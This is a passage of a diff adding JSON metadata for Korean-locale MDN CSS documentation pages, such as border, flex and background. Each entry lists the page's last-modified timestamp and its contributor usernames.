+    "modified": "2020-08-14T07:19:40.233Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Text": {
+    "modified": "2020-08-14T07:07:31.180Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Text_Decoration": {
+    "modified": "2019-04-26T09:11:17.686Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Transforms": {
+    "modified": "2019-05-25T01:16:56.674Z",
+    "contributors": [
+      "alattalatta",
+      "Sebastianz",
+      "fscholz"
+    ]
+  },
+  "Web/CSS/CSS_Transforms/Using_CSS_transforms": {
+    "modified": "2020-08-10T09:38:37.563Z",
+    "contributors": [
+      "alattalatta",
+      "fscholz",
+      "teoli",
+      "mirinae312",
+      "jaemin_jo"
+    ]
+  },
+  "Web/CSS/CSS_Transitions": {
+    "modified": "2019-04-24T12:25:03.824Z",
+    "contributors": [
+      "alattalatta",
+      "teoli"
+    ]
+  },
+  "Web/CSS/CSS_Transitions/Using_CSS_transitions": {
+    "modified": "2019-04-24T12:31:27.840Z",
+    "contributors": [
+      "alattalatta",
+      "teoli",
+      "fscholz",
+      "sbnet21"
+    ]
+  },
+  "Web/CSS/CSS_Types": {
+    "modified": "2020-08-06T04:37:09.952Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/CSS_Variables": {
+    "modified": "2019-11-14T21:10:56.947Z",
+    "contributors": [
+      "so4869"
+    ]
+  },
+  "Web/CSS/CSS_Writing_Modes": {
+    "modified": "2019-04-24T12:41:55.322Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_animated_properties": {
+    "modified": "2019-03-23T22:32:22.661Z",
+    "contributors": [
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_단위와_값": {
+    "modified": "2020-11-29T04:33:10.671Z",
+    "contributors": [
+      "alanhchoi"
+    ]
+  },
+  "Web/CSS/Cascade": {
+    "modified": "2019-03-23T22:13:24.690Z",
+    "contributors": [
+      "alattalatta",
+      "hoony"
+    ]
+  },
+  "Web/CSS/Child_combinator": {
+    "modified": "2020-10-15T22:25:55.183Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/Class_selectors": {
+    "modified": "2020-10-15T22:15:58.108Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/Comments": {
+    "modified": "2019-12-27T06:34:39.339Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/Common_CSS_Questions": {
+    "modified": "2020-07-16T22:25:45.337Z",
+    "contributors": [
+      "miyunim"
+    ]
+  },
+  "Web/CSS/Descendant_combinator": {
+    "modified": "2020-10-15T22:25:55.745Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/Filter_Effects": {
+    "modified": "2020-10-15T22:33:03.965Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/General_sibling_combinator": {
+    "modified": "2020-10-15T22:25:59.669Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/Getting_Started/JavaScript": {
+    "modified": "2019-03-23T23:41:58.615Z",
+    "contributors": [
+      "teoli",
+      "Ioseph"
+    ]
+  },
+  "Web/CSS/Getting_Started/SVG_graphics": {
+    "modified": "2019-03-23T23:41:56.694Z",
+    "contributors": [
+      "teoli",
+      "Ioseph"
+    ]
+  },
+  "Web/CSS/ID_selectors": {
+    "modified": "2020-10-15T22:16:17.946Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/Index": {
+    "modified": "2019-05-26T05:51:14.395Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/Layout_mode": {
+    "modified": "2020-08-05T01:05:50.434Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/Media_Queries": {
+    "modified": "2019-05-30T11:03:40.194Z",
+    "contributors": [
+      "alattalatta",
+      "Seonghui"
+    ]
+  },
+  "Web/CSS/Media_Queries/Using_Media_Queries_for_Accessibility": {
+    "modified": "2019-04-29T00:53:50.949Z",
+    "contributors": [
+      "qwqw312x"
+    ]
+  },
+  "Web/CSS/Paged_Media": {
+    "modified": "2019-03-23T22:33:25.305Z",
+    "contributors": [
+      "Netaras"
+    ]
+  },
+  "Web/CSS/Pseudo-classes": {
+    "modified": "2020-08-13T04:55:02.947Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/Pseudo-elements": {
+    "modified": "2019-12-27T05:53:33.945Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/Reference": {
+    "modified": "2020-08-22T11:29:11.351Z",
+    "contributors": [
+      "alattalatta",
+      "jinah1000",
+      "chrisdavidmills",
+      "dbwodlf3",
+      "Netaras",
+      "hoony",
+      "teoli",
+      "tregagnon",
+      "Pastelgrim"
+    ]
+  },
+  "Web/CSS/Reference/Property_Template": {
+    "modified": "2020-10-15T21:16:53.027Z",
+    "contributors": [
+      "alattalatta",
+      "wbamberg",
+      "chrisdavidmills",
+      "teoli",
+      "Pastelgrim"
+    ]
+  },
+  "Web/CSS/Replaced_element": {
+    "modified": "2020-08-05T01:03:55.719Z",
+    "contributors": [
+      "alattalatta",
+      "Hwan-Woong-Lee",
+      "wankyu",
+      "nyxchung",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/Selector_list": {
+    "modified": "2020-10-15T22:28:27.701Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/Shorthand_properties": {
+    "modified": "2020-08-19T13:35:44.001Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/Specificity": {
+    "modified": "2020-03-13T15:56:02.613Z",
+    "contributors": [
+      "EatChangmyeong",
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/Syntax": {
+    "modified": "2020-08-04T07:19:16.823Z",
+    "contributors": [
+      "alattalatta",
+      "young-gratia",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/Type_selectors": {
+    "modified": "2020-10-15T21:47:13.300Z",
+    "contributors": [
+      "alattalatta",
+      "pelly_ryu"
+    ]
+  },
+  "Web/CSS/Universal_selectors": {
+    "modified": "2020-10-15T21:46:22.060Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/Using_CSS_custom_properties": {
+    "modified": "2020-11-10T06:07:11.739Z",
+    "contributors": [
+      "hKa2020",
+      "alattalatta",
+      "chrisdavidmills",
+      "springday1023",
+      "stitchworkingonthecode"
+    ]
+  },
+  "Web/CSS/Value_definition_syntax": {
+    "modified": "2020-08-14T12:47:43.592Z",
+    "contributors": [
+      "alattalatta",
+      "ChanMyeong"
+    ]
+  },
+  "Web/CSS/actual_value": {
+    "modified": "2019-03-18T21:13:04.184Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/align-content": {
+    "modified": "2020-10-15T22:09:15.263Z",
+    "contributors": [
+      "alattalatta",
+      "qvil",
+      "dbwodlf3"
+    ]
+  },
+  "Web/CSS/all": {
+    "modified": "2020-10-15T22:32:31.638Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/angle": {
+    "modified": "2020-10-15T22:10:53.294Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/angle-percentage": {
+    "modified": "2020-10-15T22:17:18.525Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/animation": {
+    "modified": "2020-10-15T21:21:11.163Z",
+    "contributors": [
+      "alattalatta",
+      "JJapShe",
+      "teoli",
+      "mirinae312"
+    ]
+  },
+  "Web/CSS/animation-delay": {
+    "modified": "2020-10-15T21:54:53.073Z",
+    "contributors": [
+      "alattalatta",
+      "JJapShe",
+      "gobyoungil"
+    ]
+  },
+  "Web/CSS/animation-direction": {
+    "modified": "2019-03-23T22:11:02.480Z",
+    "contributors": [
+      "JJapShe",
+      "gobyoungil"
+    ]
+  },
+  "Web/CSS/animation-duration": {
+    "modified": "2019-03-23T22:10:47.889Z",
+    "contributors": [
+      "JJapShe"
+    ]
+  },
+  "Web/CSS/animation-fill-mode": {
+    "modified": "2019-03-23T22:09:41.257Z",
+    "contributors": [
+      "JJapShe"
+    ]
+  },
+  "Web/CSS/backdrop-filter": {
+    "modified": "2020-10-15T22:32:42.698Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/backface-visibility": {
+    "modified": "2020-10-15T22:32:52.334Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/background": {
+    "modified": "2020-10-15T21:12:39.561Z",
+    "contributors": [
+      "alattalatta",
+      "teoli",
+      "SphinxKnight",
+      "hoony",
+      "Yuichiro",
+      "Pastelgrim"
+    ]
+  },
+  "Web/CSS/background-attachment": {
+    "modified": "2020-10-15T22:32:54.714Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/background-clip": {
+    "modified": "2020-10-15T22:26:03.561Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/background-color": {
+    "modified": "2020-10-15T21:20:19.568Z",
+    "contributors": [
+      "alattalatta",
+      "Sebastianz",
+      "teoli",
+      "SphinxKnight",
+      "fscholz",
+      "jaemin_jo"
+    ]
+  },
+  "Web/CSS/background-image": {
+    "modified": "2020-10-15T21:20:20.479Z",
+    "contributors": [
+      "alattalatta",
+      "Sebastianz",
+      "teoli",
+      "SphinxKnight",
+      "fscholz",
+      "jaemin_jo"
+    ]
+  },
+  "Web/CSS/background-origin": {
+    "modified": "2020-10-15T22:32:47.629Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/background-repeat": {
+    "modified": "2020-10-15T22:26:01.543Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/background-size": {
+    "modified": "2020-10-15T22:21:52.000Z",
+    "contributors": [
+      "alattalatta",
+      "ksyeon"
+    ]
+  },
+  "Web/CSS/basic-shape": {
+    "modified": "2020-10-15T22:25:46.167Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/blend-mode": {
+    "modified": "2020-10-15T22:25:55.632Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border": {
+    "modified": "2020-10-15T22:10:27.959Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-bottom": {
+    "modified": "2020-10-15T22:18:08.650Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-bottom-color": {
+    "modified": "2020-10-15T22:17:59.886Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-bottom-style": {
+    "modified": "2020-10-15T22:16:16.852Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-bottom-width": {
+    "modified": "2020-10-15T22:16:03.984Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-collapse": {
+    "modified": "2020-10-15T21:47:33.161Z",
+    "contributors": [
+      "alattalatta",
+      "wbamberg",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/border-color": {
+    "modified": "2020-10-15T22:10:26.965Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-image": {
+    "modified": "2020-10-15T22:15:54.372Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-image-outset": {
+    "modified": "2020-10-15T22:15:54.055Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-image-repeat": {
+    "modified": "2020-10-15T22:16:03.730Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-image-slice": {
+    "modified": "2020-10-15T22:15:32.458Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-image-source": {
+    "modified": "2020-10-15T22:15:59.508Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-image-width": {
+    "modified": "2020-10-15T22:15:53.843Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-left": {
+    "modified": "2020-10-15T22:18:07.361Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-left-color": {
+    "modified": "2020-10-15T22:17:54.423Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-left-style": {
+    "modified": "2020-10-15T22:16:15.619Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-left-width": {
+    "modified": "2020-10-15T22:16:04.408Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-radius": {
+    "modified": "2020-10-15T21:20:45.447Z",
+    "contributors": [
+      "alattalatta",
+      "Rav",
+      "Sebastianz",
+      "teoli",
+      "mirinae312"
+    ]
+  },
+  "Web/CSS/border-right": {
+    "modified": "2020-10-15T22:18:04.205Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-right-color": {
+    "modified": "2020-10-15T22:17:54.896Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-right-style": {
+    "modified": "2020-10-15T22:16:16.865Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-right-width": {
+    "modified": "2020-10-15T22:16:06.914Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-spacing": {
+    "modified": "2020-10-15T21:47:58.573Z",
+    "contributors": [
+      "alattalatta",
+      "wbamberg",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/border-style": {
+    "modified": "2020-10-15T21:59:05.590Z",
+    "contributors": [
+      "alattalatta",
+      "flavono123"
+    ]
+  },
+  "Web/CSS/border-top": {
+    "modified": "2020-10-15T22:18:08.761Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-top-color": {
+    "modified": "2020-10-15T22:18:01.555Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-top-style": {
+    "modified": "2020-10-15T22:16:17.811Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-top-width": {
+    "modified": "2020-10-15T22:16:04.734Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/border-width": {
+    "modified": "2020-10-15T22:15:52.859Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/box-shadow": {
+    "modified": "2020-10-15T21:21:04.554Z",
+    "contributors": [
+      "alattalatta",
+      "Sebastianz",
+      "teoli",
+      "hibiya",
+      "mirinae312"
+    ]
+  },
+  "Web/CSS/box-sizing": {
+    "modified": "2020-10-15T21:33:10.536Z",
+    "contributors": [
+      "alattalatta",
+      "Sebastianz",
+      "epicsaga",
+      "dochoul"
+    ]
+  },
+  "Web/CSS/calc()": {
+    "modified": "2020-11-04T09:08:57.096Z",
+    "contributors": [
+      "chrisdavidmills",
+      "alattalatta",
+      "mrstork",
+      "prayash",
+      "teoli",
+      "."
+    ]
+  },
+  "Web/CSS/clear": {
+    "modified": "2020-10-15T21:47:42.826Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/clip-path": {
+    "modified": "2020-10-15T22:25:44.725Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/color": {
+    "modified": "2020-10-15T22:10:33.905Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/color_value": {
+    "modified": "2020-10-15T22:10:31.590Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/computed_value": {
+    "modified": "2020-01-07T12:39:00.311Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/contain": {
+    "modified": "2020-10-15T22:32:50.422Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/content": {
+    "modified": "2020-10-15T22:26:10.769Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/cursor": {
+    "modified": "2020-10-15T21:27:31.761Z",
+    "contributors": [
+      "alattalatta",
+      "mrstork",
+      "Sebastianz",
+      "teoli",
+      "claudepache"
+    ]
+  },
+  "Web/CSS/cursor/Using_URL_values_for_the_cursor_property": {
+    "modified": "2019-03-23T23:41:42.325Z",
+    "contributors": [
+      "hjunshin",
+      "teoli",
+      "jaemin_jo",
+      "Ioseph"
+    ]
+  },
+  "Web/CSS/display": {
+    "modified": "2020-10-15T22:17:25.714Z",
+    "contributors": [
+      "alattalatta",
+      "dbwodlf3"
+    ]
+  },
+  "Web/CSS/display-internal": {
+    "modified": "2020-11-29T06:46:46.662Z",
+    "contributors": [
+      "alanhchoi"
+    ]
+  },
+  "Web/CSS/filter": {
+    "modified": "2020-10-15T21:40:35.758Z",
+    "contributors": [
+      "alattalatta",
+      "EatChangmyeong",
+      "chatoo2412",
+      "AshtonYoon",
+      "Sebastianz",
+      "hoony"
+    ]
+  },
+  "Web/CSS/filter-function": {
+    "modified": "2020-08-14T06:59:41.785Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/filter-function/blur()": {
+    "modified": "2020-11-05T09:45:44.250Z",
+    "contributors": [
+      "chrisdavidmills",
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/filter-function/brightness()": {
+    "modified": "2020-11-05T09:57:22.993Z",
+    "contributors": [
+      "chrisdavidmills",
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/filter-function/contrast()": {
+    "modified": "2020-11-09T07:21:09.691Z",
+    "contributors": [
+      "chrisdavidmills",
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/flex": {
+    "modified": "2020-10-15T22:09:18.729Z",
+    "contributors": [
+      "alattalatta",
+      "dbwodlf3"
+    ]
+  },
+  "Web/CSS/flex-basis": {
+    "modified": "2020-10-15T22:09:16.564Z",
+    "contributors": [
+      "alattalatta",
+      "limjungmok",
+      "dbwodlf3"
+    ]
+  },
+  "Web/CSS/flex-direction": {
+    "modified": "2020-10-15T22:09:14.650Z",
+    "contributors": [
+      "alattalatta",
+      "limjungmok",
+      "dbwodlf3"
+    ]
+  },
+  "Web/CSS/flex-flow": {
+    "modified": "2020-10-15T22:09:17.941Z",
+    "contributors": [
+      "alattalatta",
+      "limjungmok",
+      "dbwodlf3"
+    ]
+  },
+  "Web/CSS/flex-grow": {
+    "modified": "2020-10-15T22:09:15.124Z",
+    "contributors": [
+      "limjungmok",
+      "dbwodlf3"
+    ]
+  },
+  "Web/CSS/flex-shrink": {
+    "modified": "2020-10-15T22:09:11.292Z",
+    "contributors": [
+      "limjungmok",
+      "dbwodlf3"
+    ]
+  },
+  "Web/CSS/flex-wrap": {
+    "modified": "2020-10-15T22:09:11.421Z",
+    "contributors": [
+      "limjungmok",
+      "dbwodlf3"
+    ]
+  },
+  "Web/CSS/float": {
+    "modified": "2020-10-15T21:44:47.428Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/font": {
+    "modified": "2020-10-15T22:11:39.217Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/font-family": {
+    "modified": "2020-10-15T21:48:51.338Z",
+    "contributors": [
+      "alattalatta",
+      "naduhy2"
+    ]
+  },
+  "Web/CSS/font-feature-settings": {
+    "modified": "2020-11-04T06:31:19.905Z",
+    "contributors": [
+      "hyunwoong.kang"
+    ]
+  },
+  "Web/CSS/font-size": {
+    "modified": "2020-10-15T21:48:25.426Z",
+    "contributors": [
+      "Anonymous",
+      "alattalatta",
+      "Hanjae-Jea"
+    ]
+  },
+  "Web/CSS/font-synthesis": {
+    "modified": "2020-10-15T22:32:51.283Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/font-weight": {
+    "modified": "2019-03-23T22:40:06.260Z",
+    "contributors": [
+      "naduhy2",
+      "jisoon",
+      "maytree"
+    ]
+  },
+  "Web/CSS/frequency": {
+    "modified": "2020-10-15T22:17:20.180Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/gap": {
+    "modified": "2020-10-15T22:26:03.670Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/gradient": {
+    "modified": "2020-10-15T22:11:21.903Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/grid": {
+    "modified": "2020-10-15T22:09:39.253Z",
+    "contributors": [
+      "dbwodlf3"
+    ]
+  },
+  "Web/CSS/grid-area": {
+    "modified": "2020-10-15T22:09:39.279Z",
+    "contributors": [
+      "dbwodlf3"
+    ]
+  },
+  "Web/CSS/height": {
+    "modified": "2020-10-15T21:47:39.134Z",
+    "contributors": [
+      "alattalatta",
+      "DeadIntegral"
+    ]
+  },
+  "Web/CSS/hyphens": {
+    "modified": "2020-10-15T22:32:51.304Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/image": {
+    "modified": "2020-10-15T22:15:55.155Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/image-rendering": {
+    "modified": "2020-10-15T21:40:19.155Z",
+    "contributors": [
+      "alattalatta",
+      "Hmmim"
+    ]
+  },
+  "Web/CSS/inherit": {
+    "modified": "2020-10-15T21:44:46.933Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/inheritance": {
+    "modified": "2019-03-18T21:13:04.690Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/initial": {
+    "modified": "2020-10-15T21:45:36.803Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/initial_value": {
+    "modified": "2020-01-07T13:09:25.646Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras",
+      "teoli",
+      "Pastelgrim"
+    ]
+  },
+  "Web/CSS/integer": {
+    "modified": "2020-10-15T22:10:29.443Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/isolation": {
+    "modified": "2020-10-15T22:25:56.295Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/length": {
+    "modified": "2020-10-15T22:10:30.645Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/length-percentage": {
+    "modified": "2020-10-15T22:18:00.322Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/letter-spacing": {
+    "modified": "2020-10-15T22:18:00.636Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/line-break": {
+    "modified": "2020-10-15T22:32:46.075Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/linear-gradient()": {
+    "modified": "2020-11-16T08:57:34.736Z",
+    "contributors": [
+      "chrisdavidmills",
+      "alattalatta",
+      "KadirTopal",
+      "jh.Park",
+      "Sebastianz",
+      "Simplexible",
+      "wizAmit",
+      "slayslot",
+      "prayash",
+      "tamnajio",
+      "teoli",
+      "mirinae312"
+    ]
+  },
+  "Web/CSS/margin": {
+    "modified": "2020-10-15T21:55:14.551Z",
+    "contributors": [
+      "alattalatta",
+      "kidkkr"
+    ]
+  },
+  "Web/CSS/margin-bottom": {
+    "modified": "2020-10-15T22:14:17.582Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/margin-left": {
+    "modified": "2020-10-15T22:14:20.259Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/margin-right": {
+    "modified": "2020-10-15T22:14:17.893Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/margin-top": {
+    "modified": "2020-10-15T21:45:27.749Z",
+    "contributors": [
+      "alattalatta",
+      "Jinhyuk"
+    ]
+  },
+  "Web/CSS/mask": {
+    "modified": "2020-10-15T21:53:40.995Z",
+    "contributors": [
+      "alattalatta",
+      "hoony"
+    ]
+  },
+  "Web/CSS/max-height": {
+    "modified": "2020-10-15T22:15:32.957Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/max-width": {
+    "modified": "2020-10-15T22:05:31.476Z",
+    "contributors": [
+      "alattalatta",
+      "MyeonghwanCho"
+    ]
+  },
+  "Web/CSS/min-height": {
+    "modified": "2020-10-15T22:15:30.962Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/min-width": {
+    "modified": "2020-10-15T22:05:30.663Z",
+    "contributors": [
+      "alattalatta",
+      "MyeonghwanCho"
+    ]
+  },
+  "Web/CSS/mix-blend-mode": {
+    "modified": "2020-10-15T21:49:53.526Z",
+    "contributors": [
+      "alattalatta",
+      "dragmove"
+    ]
+  },
+  "Web/CSS/number": {
+    "modified": "2020-10-15T22:10:27.997Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/object-fit": {
+    "modified": "2020-10-15T22:32:41.251Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/object-position": {
+    "modified": "2020-10-15T22:26:30.597Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/opacity": {
+    "modified": "2020-10-15T22:11:31.577Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/order": {
+    "modified": "2020-10-15T22:09:17.253Z",
+    "contributors": [
+      "alattalatta",
+      "limjungmok",
+      "dbwodlf3"
+    ]
+  },
+  "Web/CSS/outline": {
+    "modified": "2020-10-15T22:33:02.884Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/outline-style": {
+    "modified": "2020-10-15T22:33:03.744Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/outline-width": {
+    "modified": "2020-10-15T22:33:06.385Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/overflow": {
+    "modified": "2020-10-15T21:53:39.024Z",
+    "contributors": [
+      "alattalatta",
+      "LeeJunyeol",
+      "nugurejeil"
+    ]
+  },
+  "Web/CSS/overflow-wrap": {
+    "modified": "2020-10-15T21:48:38.411Z",
+    "contributors": [
+      "Kaben",
+      "joshua1988"
+    ]
+  },
+  "Web/CSS/padding": {
+    "modified": "2020-10-15T22:14:23.019Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/padding-bottom": {
+    "modified": "2020-10-15T22:15:32.533Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/padding-left": {
+    "modified": "2020-10-15T22:15:30.214Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/padding-right": {
+    "modified": "2020-10-15T22:15:32.316Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/padding-top": {
+    "modified": "2020-10-15T22:14:26.029Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/paint-order": {
+    "modified": "2020-10-15T22:32:44.393Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/percentage": {
+    "modified": "2020-10-15T22:10:31.553Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/pointer-events": {
+    "modified": "2020-10-15T22:11:48.556Z",
+    "contributors": [
+      "alattalatta",
+      "limjungmok"
+    ]
+  },
+  "Web/CSS/position": {
+    "modified": "2020-10-15T21:55:47.858Z",
+    "contributors": [
+      "alattalatta",
+      "EatChangmyeong",
+      "huusz"
+    ]
+  },
+  "Web/CSS/position_value": {
+    "modified": "2020-10-15T22:32:44.745Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/resolved_value": {
+    "modified": "2020-01-07T12:41:25.706Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/revert": {
+    "modified": "2020-10-15T22:32:20.027Z",
+    "contributors": [
+      "oinochoe"
+    ]
+  },
+  "Web/CSS/specified_value": {
+    "modified": "2019-03-18T20:42:45.260Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/tab-size": {
+    "modified": "2020-10-15T21:37:17.868Z",
+    "contributors": [
+      "alattalatta",
+      "Sebastianz",
+      "hyeonseok"
+    ]
+  },
+  "Web/CSS/text-align": {
+    "modified": "2020-10-15T22:27:00.842Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/text-decoration": {
+    "modified": "2020-10-15T22:18:03.446Z",
+    "contributors": [
+      "limkukhyun",
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/text-shadow": {
+    "modified": "2020-10-15T21:21:02.822Z",
+    "contributors": [
+      "limkukhyun",
+      "alattalatta",
+      "Sebastianz",
+      "teoli",
+      "mirinae312"
+    ]
+  },
+  "Web/CSS/time": {
+    "modified": "2020-10-15T22:14:17.158Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/transform": {
+    "modified": "2020-10-15T21:20:53.479Z",
+    "contributors": [
+      "alattalatta",
+      "Sebastianz",
+      "fscholz",
+      "teoli",
+      "mirinae312"
+    ]
+  },
+  "Web/CSS/transform-function": {
+    "modified": "2020-10-15T21:51:13.494Z",
+    "contributors": [
+      "alattalatta",
+      "Sebastianz"
+    ]
+  },
+  "Web/CSS/transform-function/matrix()": {
